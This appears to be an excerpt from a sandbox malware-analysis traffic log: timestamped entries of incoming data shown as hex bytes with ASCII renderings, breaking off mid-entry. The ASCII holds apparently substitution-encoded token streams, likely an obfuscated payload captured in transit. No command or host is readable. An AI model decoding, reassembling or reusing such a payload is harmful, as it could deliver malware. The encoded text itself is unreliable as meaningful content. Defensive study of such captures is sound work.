2021-11-09 21:21:49 UTC	479	IN	Data Raw: 20 45 74 20 45 6f 20 74 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 6f 51 20 45 4f 20 4f 78 51 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 6f 6b 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 6f 74 20 45 4f 20 4f 4f 52 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 Data Ascii: Et Eo t x x x EO Kk OYt Et oQ EO OxQ OYt Et Eo R x x x EO Qt OYt Et Eo R x x x EO Qk OYt Et Eo R x x x EO Qt OYt Et ok EO OxO OYt Et Eo Y x x x EO Qt OYt Et Eo Y x x x EO OxO OYt Et Eo Y x x x EO Oxo OYt Et ot EO OOR OYt Et Eo K x x x EO Yt OYt Et Eo K x
2021-11-09 21:21:49 UTC	495	IN	Data Raw: 20 4f 6f 6b 20 4f 4f 4b 20 6f 74 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 59 4b 20 6b 4f 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 6f 4b 4b 20 4b 59 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 45 4f 20 51 51 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 4b 4b 20 4b 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4b 59 20 4f 4f 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 6f 6f 52 20 6b 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 59 4f 20 59 52 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 6f 78 20 6f 59 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 45 6b 20 74 52 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 51 4f 20 4f 4f 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 6b 4f 20 52 4b 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 78 59 20 4f 4f 45 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 4b 45 20 Data Ascii: Ook OOK ot EY o kR Ook OYK kO EY o kR Ook oKK KY EY o kR Ook OEO QQ EY o kR Ook OKK Kx EY o kR Ook KY OOx EY o kR Ook ooR kx EY o kR Ook YO YR EY o kR Ook Oox oY EY o kR Ook Ek tR EY o kR Ook QO OOx EY o kR Ook OkO RK EY o kR Ook OxY OOE EY o kR Ook OKE
2021-11-09 21:21:49 UTC	511	IN	Data Raw: 4f 74 52 20 4f 20 4b 45 20 45 20 51 20 78 20 4f 6b 78 20 4f 20 4b 6b 20 45 20 51 20 78 20 4f 6b 4b 20 4f 20 59 45 20 45 20 51 20 78 20 4f 6b 6b 20 4f 20 59 6b 20 45 20 51 20 78 20 4f 51 6f 20 4f 20 52 45 20 45 20 51 20 78 20 4f 51 52 20 4f 20 52 6b 20 45 20 51 20 78 20 6f 78 78 20 4f 20 74 45 20 45 20 51 20 78 20 6f 78 4b 20 4f 20 74 6b 20 45 20 51 20 78 20 6f 78 6b 20 4f 20 6b 45 20 45 20 51 20 78 20 6f 4f 6f 20 4f 20 6b 6b 20 45 20 51 20 78 20 6f 4f 52 20 4f 20 51 45 20 45 20 51 20 78 20 6f 6f 78 20 4f 20 51 6b 20 45 20 51 20 78 20 6f 6f 4b 20 4f 20 4f 78 45 20 45 20 51 20 78 20 6f 6f 6b 20 4f 20 4f 78 6b 20 45 20 51 20 78 20 6f 45 6f 20 4f 20 4f 4f 45 20 45 20 51 20 78 20 6f 45 52 20 4f 20 4f 4f 6b 20 45 20 51 20 78 20 6f 4b 78 20 4f 20 4f 6f 45 20 45 Data Ascii: OtR O KE E Q x Okx O Kk E Q x OkK O YE E Q x Okk O Yk E Q x OQo O RE E Q x OQR O Rk E Q x oxx O tE E Q x oxK O tk E Q x oxk O kE E Q x oOo O kk E Q x oOR O QE E Q x oox O Qk E Q x ooK O OxE E Q x ook O Oxk E Q x oEo O OOE E Q x oER O OOk E Q x oKx O OoE E
2021-11-09 21:21:49 UTC	527	IN	Data Raw: 6f 20 51 74 20 4f 4f 78 20 4f 78 78 20 4f 78 6b 20 4f 78 4f 20 74 51 20 4f 4f 78 20 6b 45 20 4f 4f 52 20 51 74 20 51 51 20 4f 78 74 20 78 20 6b 6f 20 4f 78 4f 20 4f 78 45 20 4f 78 59 20 4f 4f 59 20 4f 4f 52 20 4f 4f 4b 20 4f 6f 4f 20 74 59 20 4f 78 4f 20 4f 6f 4f 20 6b 78 20 4f 78 4f 20 4f 4f 4b 20 4f 78 51 20 4f 78 59 20 4f 4f 59 20 4f 4f 59 20 4f 78 59 20 4f 4f 4f 20 4f 4f 78 20 52 74 20 4f 78 4b 20 4f 78 4f 20 51 51 20 4f 78 74 20 78 20 52 59 20 4f 78 6b 20 4f 78 6b 20 4f 4f 4f 20 51 51 20 74 6f 20 74 4f 20 4f 78 6b 20 4f 4f 4f 20 51 6b 20 51 74 20 4f 78 6b 20 78 20 74 78 20 4f 4f 4b 20 4f 78 4f 20 4f 78 4f 20 74 6f 20 74 4f 20 4f 78 6b 20 4f 4f 4f 20 51 6b 20 51 74 20 4f 78 6b 20 78 20 74 74 20 51 74 20 4f 4f 4b 20 4f 4f 59 20 4f 78 4b 20 51 74 20 4f Data Ascii: o Qt OOx Oxx Oxk OxO tQ OOx kE OOR Qt QQ Oxt x ko OxO OxE OxY OOY OOR OOK OoO tY OxO OoO kx OxO OOK OxQ OxY OOY OOY OxY OOO OOx Rt OxK OxO QQ Oxt x RY Oxk Oxk OOO QQ to tO Oxk OOO Qk Qt Oxk x tx OOK OxO OxO to tO Oxk OOO Qk Qt Oxk x tt Qt OOK OOY OxK Qt O
2021-11-09 21:21:49 UTC	543	IN	Data Raw: 20 4f 59 6f 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 6f 6f 59 20 4f 6b 6f 20 4f 59 4f 20 6f 6f 59 20 4f 6b 4f 20 4f 52 59 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 6f 6f 59 20 4f 6b 4f 20 4f 74 6f 20 6f 6f 59 20 4f 6b 4f 20 4f 6b 52 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 78 20 6f 45 45 20 4f 45 6f 20 4f 51 78 20 6f 45 45 20 4f 45 45 20 4f 59 78 20 6f 45 45 20 4f 45 45 20 4f 74 4b 20 6f 45 45 20 4f 45 45 20 4f 6b 59 20 6f 45 45 20 4f 45 45 20 4f 59 52 20 6f 45 45 20 4f 45 45 20 4f 6b 51 20 6f 45 45 20 4f 45 45 20 4f 74 59 20 6f 45 45 20 4f 45 45 20 4f 74 4f 20 6f 45 45 20 4f 45 45 20 4f 74 4f 20 6f 45 45 20 4f 45 45 20 4f 59 45 20 6f 45 45 20 4f 45 45 20 4f 6f 51 20 6f 45 45 20 4f 45 6f 20 4f 6b 51 20 6f 45 45 20 4f 45 6f 20 4f 6b 52 20 6f 45 45 20 4f 45 45 20 Data Ascii: OYo ooY Oko OEx ooY Oko OYO ooY OkO ORY ooY Oko OEx ooY OkO Oto ooY OkO OkR ooY Oko OEx x oEE OEo OQx oEE OEE OYx oEE OEE OtK oEE OEE OkY oEE OEE OYR oEE OEE OkQ oEE OEE OtY oEE OEE OtO oEE OEE OtO oEE OEE OYE oEE OEE OoQ oEE OEo OkQ oEE OEo OkR oEE OEE
2021-11-09 21:21:49 UTC	559	IN	Data Raw: 20 6f 45 4f 20 4f 6f 51 20 4f 6b 51 20 6f 45 4f 20 4f 6f 51 20 4f 4b 78 20 6f 45 4f 20 4f 45 78 20 4f 4b 78 20 6f 45 4f 20 4f 6f 51 20 4f 4b 45 20 6f 45 4f 20 4f 45 78 20 4f 45 78 20 6f 45 4f 20 4f 6f 51 20 4f 6b 59 20 6f 45 4f 20 4f 6f 51 20 4f 4b 6f 20 78 20 6f 45 59 20 4f 45 45 20 4f 4b 74 20 6f 45 59 20 4f 45 45 20 4f 74 74 20 6f 45 59 20 4f 45 45 20 4f 51 78 20 6f 45 59 20 4f 45 45 20 4f 52 6f 20 6f 45 59 20 4f 45 4b 20 4f 4b 4b 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4f 45 4b 20 4f 45 4b 20 6f 45 59 20 4f 45 45 20 4f 74 4b 20 6f 45 59 20 4f 45 45 20 4f 4b 52 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4f 45 4b 20 4f 6f 51 20 6f 45 59 20 4f 45 45 20 4f 4b 4f 20 6f 45 59 20 4f 45 45 20 4f 4b 4b 20 6f 45 59 20 4f 45 45 20 4f 6b 6b 20 Data Ascii: oEO OoQ OkQ oEO OoQ OKx oEO OEx OKx oEO OoQ OKE oEO OEx OEx oEO OoQ OkY oEO OoQ OKo x oEY OEE OKt oEY OEE Ott oEY OEE OQx oEY OEE ORo oEY OEK OKK oEY OEE OKx oEY OEK OEK oEY OEE OtK oEY OEE OKR oEY OEE OKx oEY OEK OoQ oEY OEE OKO oEY OEE OKK oEY OEE Okk
2021-11-09 21:21:49 UTC	575	IN	Data Raw: 6f 6b 20 4f 4b 74 20 4f 4b 78 20 6f 6f 6b 20 4f 4b 52 20 4f 59 51 20 6f 6f 6b 20 4f 4b 52 20 4f 6b 4f 20 6f 6f 6b 20 4f 4b 52 20 4f 6b 6b 20 6f 6f 6b 20 4f 4b 52 20 4f 59 4f 20 6f 6f 6b 20 4f 4b 52 20 4f 59 45 20 6f 6f 6b 20 4f 4b 52 20 4f 59 4f 20 78 20 6f 45 4f 20 4f 4b 52 20 4f 59 6f 20 6f 45 4f 20 4f 4b 52 20 4f 4b 6b 20 6f 45 4f 20 4f 4b 52 20 4f 59 45 20 6f 45 4f 20 4f 4b 74 20 4f 45 45 20 6f 45 4f 20 4f 4b 52 20 4f 6b 74 20 6f 45 4f 20 4f 4b 52 20 4f 59 4b 20 6f 45 4f 20 4f 4b 74 20 4f 45 74 20 6f 45 4f 20 4f 4b 52 20 4f 59 78 20 6f 45 4f 20 4f 4b 74 20 4f 45 52 20 6f 45 4f 20 4f 4b 74 20 4f 45 59 20 6f 45 4f 20 4f 4b 52 20 4f 6b 78 20 6f 45 4f 20 4f 4b 52 20 4f 59 52 20 6f 45 4f 20 4f 4b 74 20 4f 45 4b 20 6f 45 4f 20 4f 4b 52 20 4f 74 6b 20 6f 45 Data Ascii: ok OKt OKx ook OKR OYQ ook OKR OkO ook OKR Okk ook OKR OYO ook OKR OYE ook OKR OYO x oEO OKR OYo oEO OKR OKk oEO OKR OYE oEO OKt OEE oEO OKR Okt oEO OKR OYK oEO OKt OEt oEO OKR OYx oEO OKt OER oEO OKt OEY oEO OKR Okx oEO OKR OYR oEO OKt OEK oEO OKR Otk oE
2021-11-09 21:21:49 UTC	591	IN	Data Raw: 20 4f 52 4b 20 4f 52 4f 20 6f 45 78 20 4f 52 4b 20 4f 4b 6f 20 6f 45 78 20 4f 52 4b 20 4f 6b 59 20 6f 45 78 20 4f 52 45 20 4f 74 51 20 6f 45 78 20 4f 52 4b 20 4f 59 4f 20 6f 45 78 20 4f 52 45 20 4f 6b 45 20 6f 45 78 20 4f 52 4b 20 4f 52 6f 20 78 20 6f 6f 74 20 4f 74 4b 20 4f 52 51 20 6f 6f 74 20 4f 74 4b 20 4f 52 52 20 6f 6f 74 20 4f 74 59 20 4f 59 78 20 6f 6f 74 20 4f 74 4b 20 4f 52 6f 20 6f 6f 74 20 4f 74 4b 20 4f 52 6b 20 6f 6f 74 20 4f 74 59 20 4f 45 45 20 6f 6f 74 20 4f 74 59 20 4f 45 74 20 6f 6f 74 20 4f 74 4b 20 4f 52 4b 20 6f 6f 74 20 4f 74 59 20 4f 74 78 20 6f 6f 74 20 4f 74 59 20 4f 52 4b 20 6f 6f 74 20 4f 74 59 20 4f 59 4b 20 6f 6f 74 20 4f 74 59 20 4f 4b 59 20 6f 6f 74 20 4f 74 59 20 4f 4b 6b 20 6f 6f 74 20 4f 74 59 20 4f 4b 59 20 6f 6f 74 20 Data Ascii: ORK ORO oEx ORK OKo oEx ORK OkY oEx ORE OtQ oEx ORK OYO oEx ORE OkE oEx ORK ORo x oot OtK ORQ oot OtK ORR oot OtY OYx oot OtK ORo oot OtK ORk oot OtY OEE oot OtY OEt oot OtK ORK oot OtY Otx oot OtY ORK oot OtY OYK oot OtY OKY oot OtY OKk oot OtY OKY oot
2021-11-09 21:21:49 UTC	607	IN	Data Raw: 6b 45 20 4f 74 4f 20 6f 45 6b 20 4f 6b 4b 20 4f 4b 78 20 6f 45 6b 20 4f 6b 45 20 4f 74 4f 20 6f 45 6b 20 4f 6b 4b 20 4f 59 4b 20 6f 45 6b 20 4f 6b 4b 20 4f 52 74 20 6f 45 6b 20 4f 6b 4b 20 4f 59 74 20 6f 45 6b 20 4f 6b 45 20 4f 74 6f 20 78 20 6f 45 45 20 4f 6b 4b 20 4f 45 4f 20 6f 45 45 20 4f 6b 4b 20 4f 74 6f 20 6f 45 45 20 4f 6b 4b 20 4f 6f 6b 20 6f 45 45 20 4f 6b 4b 20 4f 59 4f 20 6f 45 45 20 4f 6b 4b 20 4f 59 6f 20 6f 45 45 20 4f 6b 4b 20 4f 74 4f 20 6f 45 45 20 4f 6b 4b 20 4f 74 45 20 6f 45 45 20 4f 6b 4b 20 4f 74 59 20 6f 45 45 20 4f 6b 4b 20 4f 74 4f 20 6f 45 45 20 4f 6b 4b 20 4f 59 52 20 6f 45 45 20 4f 6b 45 20 4f 51 78 20 6f 45 45 20 4f 6b 4b 20 4f 59 6b 20 6f 45 45 20 4f 6b 45 20 4f 51 78 20 6f 45 45 20 4f 6b 4b 20 4f 74 4b 20 6f 45 45 20 4f 6b Data Ascii: kE OtO oEk OkK OKx oEk OkE OtO oEk OkK OYK oEk OkK ORt oEk OkK OYt oEk OkE Oto x oEE OkK OEO oEE OkK Oto oEE OkK Ook oEE OkK OYO oEE OkK OYo oEE OkK OtO oEE OkK OtE oEE OkK OtY oEE OkK OtO oEE OkK OYR oEE OkE OQx oEE OkK OYk oEE OkE OQx oEE OkK OtK oEE Ok
2021-11-09 21:21:49 UTC	623	IN	Data Raw: 20 4f 45 45 20 6f 45 59 20 4f 45 45 20 4f 4b 6b 20 6f 45 59 20 4f 45 45 20 4f 6b 45 20 6f 45 59 20 4f 45 45 20 4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 6b 4f 20 6f 45 59 20 4f 45 45 20 4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4f 45 45 20 4f 6b 78 20 6f 45 59 20 4f 45 45 20 4f 52 4f 20 6f 45 59 20 4f 45 45 20 4f 45 4f 20 6f 45 59 20 4f 45 4b 20 4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 6b 45 20 78 20 6f 6f 74 20 4f 59 4f 20 4f 74 52 20 6f 6f 74 20 4f 59 4f 20 4f 52 51 20 6f 6f 74 20 4f 59 4f 20 4f 4b 74 20 6f 6f 74 20 4f 59 78 20 4f 51 78 20 6f 6f 74 20 4f 59 4f 20 4f 4b 6b 20 6f 6f 74 20 4f 59 4f 20 4f 74 6f 20 6f 6f 74 20 4f 59 78 20 4f 6b 6f 20 6f 6f 74 20 4f 59 4f 20 4f 74 78 20 6f 6f 74 20 4f 59 78 20 4f 6b 51 20 6f 6f 74 20 4f 59 4f 20 Data Ascii: OEE oEY OEE OKk oEY OEE OkE oEY OEE OEQ oEY OEE OkO oEY OEE OEQ oEY OEE OKx oEY OEE Okx oEY OEE ORO oEY OEE OEO oEY OEK OEQ oEY OEE OkE x oot OYO OtR oot OYO ORQ oot OYO OKt oot OYx OQx oot OYO OKk oot OYO Oto oot OYx Oko oot OYO Otx oot OYx OkQ oot OYO
2021-11-09 21:21:49 UTC	639	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 74 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 52 20 78 20 59 6f 20 78 20 74 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: RY x RY x RR x Rt x RY x kO x RR x Yo x tE x kO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x OOQ x OOQ x OOQ x RY x RY x to x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-11-09 21:21:49 UTC	655	IN	Data Raw: 6f 4f 20 78 20 4b 45 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 6b 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 45 20 78 20 4b 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 74 78 20 78 20 52 74 20 78 20 74 52 20 78 20 52 52 20 78 20 4f 4f 4f 20 78 20 4f 4f 6b 20 78 20 74 51 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 59 20 78 20 6b 4f 20 78 20 59 4b 20 78 20 4f 6f 4f 20 78 20 4f 78 51 20 78 20 74 52 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 51 74 20 78 20 52 6b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 59 52 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 59 78 20 78 20 4b 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 59 20 78 20 4b 74 20 78 20 6b 59 20 Data Ascii: oO x KE x OxY x OOx x kx x OxE x RY x RY x kY x tE x KQ x tx x OOR x tx x Rt x tR x RR x OOO x OOk x tQ x Kt x KQ x RY x kO x YK x OoO x OxQ x tR x RR x OxQ x Qt x Rk x OOo x Qk x kK x Kt x Kt x OOk x YR x RY x OxR x kQ x Yx x Kk x Kt x Kt x YY x Kt x kY
2021-11-09 21:21:49 UTC	671	IN	Data Raw: 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4f 78 74 20 78 20 52 51 20 78 20 6b 52 20 78 20 59 6f 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 45 20 78 20 52 59 20 78 20 4b 45 20 78 20 74 78 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 59 52 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 59 6f 20 78 20 59 78 20 78 20 74 78 20 78 20 59 6f 20 78 20 4f 4f 6b 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 74 6b 20 78 20 6b 4f 20 78 20 51 78 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 59 6f 20 78 20 6b 78 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 78 52 20 78 20 4f Data Ascii: x Qk x OxE x Kt x Oxt x RQ x kR x Yo x Oxk x Oxx x KE x RY x KE x tx x OOO x RY x RY x RY x RY x tR x YR x tE x RY x OxE x RY x RY x kR x Yo x Yx x tx x Yo x OOk x YO x Kt x Kt x KQ x tk x kO x Qx x OOO x OxQ x Oxx x Yo x kx x YO x Kt x Kt x KE x OxR x O
2021-11-09 21:21:49 UTC	687	IN	Data Raw: 4f 20 78 20 74 78 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 51 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 74 74 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 6b 74 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 59 52 20 78 20 6b 4f 20 78 20 74 74 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 51 6b 20 78 20 52 6b 20 78 20 6b 59 20 78 20 74 52 20 78 20 4f 78 51 20 78 20 74 74 20 78 20 59 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 78 20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 4f 6f 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 59 4b 20 78 20 74 6b 20 78 20 74 74 20 78 20 4f 4f 6b 20 Data Ascii: O x tx x tO x OOO x RY x kY x tt x QQ x tO x Kk x tt x OOo x RY x RY x tQ x OxR x kt x OxY x RY x RY x RY x OxE x YR x kO x tt x OxY x YR x Qk x Rk x kY x tR x OxQ x tt x YR x Oxt x RY x RY x Oox x OOQ x Rk x kO x OoO x Oxt x RY x RY x YK x tk x tt x OOk
2021-11-09 21:21:49 UTC	703	IN	Data Raw: 78 20 52 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 74 78 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 4b 51 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 74 45 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 59 78 20 78 20 74 45 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 52 6b 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 59 45 20 78 20 74 45 20 78 20 4f 4f 52 Data Ascii: x RQ x kO x RY x RY x Rk x Kt x Oxx x kO x OxR x Kt x tx x Qx x OxR x RR x kO x RY x Rk x tK x OOQ x KQ x kt x tR x YY x tE x kx x OOY x tY x tE x tk x Oxk x Yo x RY x Rt x tx x OOQ x tE x Oxk x tk x Yx x tE x OOR x tk x Rk x tE x Oxk x tk x YE x tE x OOR
2021-11-09 21:21:49 UTC	719	IN	Data Raw: 20 6b 6b 20 78 20 4b 6b 20 78 20 4b 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 4b 20 78 20 6b 52 20 78 20 59 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 4f 20 78 20 59 4b 20 78 20 74 78 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 4f 20 78 20 51 74 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 4b 51 Data Ascii: kk x Kk x Kt x Oxo x Kt x Kt x YK x tK x kR x Yx x RY x RY x Rt x tk x OxK x Oxo x kK x Yt x Kt x Kt x Yt x kO x YK x tx x tE x kx x RY x RY x Rt x tk x OxK x Oxo x kK x Yt x Kt x Kt x Yt x kO x Qt x RY x Rk x tt x kO x RY x Rt x tk x OxK x Oxo x kK x KQ
2021-11-09 21:21:49 UTC	735	IN	Data Raw: 51 20 78 20 4f 78 52 20 78 20 52 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 4f 78 6f 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 6b 45 20 78 20 4f 78 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 51 20 78 20 52 6b 20 78 20 6b 78 20 78 20 59 74 20 78 20 4b 51 20 78 20 4b 45 20 78 20 74 45 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 74 20 78 20 59 74 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 78 20 78 20 4b 6b 20 78 20 6b 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 6f 20 78 20 6b 4b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 45 20 78 20 59 4b 20 78 20 6b 6b 20 78 20 4f 78 74 20 78 20 59 74 20 78 20 4b 74 20 78 Data Ascii: Q x OxR x RQ x kO x RY x Rk x Kt x Oxx x Oxo x OxR x OOO x kE x Oxk x OOO x RY x RY x tE x kx x RQ x Rk x kx x Yt x KQ x KE x tE x OOk x kQ x Yt x Yt x OOY x Qk x Yx x Kk x kx x Kt x tx x ko x kK x RY x kO x RY x RR x OxQ x OxE x YK x kk x Oxt x Yt x Kt x
2021-11-09 21:21:49 UTC	751	IN	Data Raw: 20 6b 78 20 78 20 4b 74 20 78 20 6b 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 4f 4f 74 20 78 20 74 52 20 78 20 59 52 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 51 20 78 20 74 51 20 78 20 4b 74 20 78 20 74 6b 20 78 20 4b 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 6b 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 6f 20 78 20 4f 78 52 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 6b 78 20 78 20 6b 59 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 59 78 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 74 45 20 78 20 6b 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 6b 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 4f 4f 6f 20 78 20 6b 4b 20 78 20 4f 78 59 20 78 20 4b 74 20 78 20 52 Data Ascii: kx x Kt x kt x tQ x Kt x OOt x tR x YR x to x kO x RQ x tQ x Kt x tk x KQ x tK x Oxk x kx x Kt x tx x ko x OxR x Rt x kO x RY x Rt x tR x kx x kY x Ooo x RY x kO x RY x Rt x tR x Yx x tO x OOO x tE x kY x Kt x Kt x kk x Qt x OxE x OOo x kK x OxY x Kt x R
2021-11-09 21:21:49 UTC	767	IN	Data Raw: 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 6b 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 52 74 20 78 20 4b 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 59 20 78 20 59 4f 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 4f 78 74 20 78 20 4f 78 4f 20 78 20 52 6b 20 78 20 59 6f 20 78 20 6b 4f 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 6b 6b 20 78 20 6b 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 4b 6b 20 78 20 6b 6b 20 78 20 4f 4f 4f 20 78 20 52 6b 20 78 20 59 59 20 78 20 51 51 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 4b 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 52 20 78 20 74 78 20 78 20 74 51 20 78 20 6b 52 Data Ascii: x 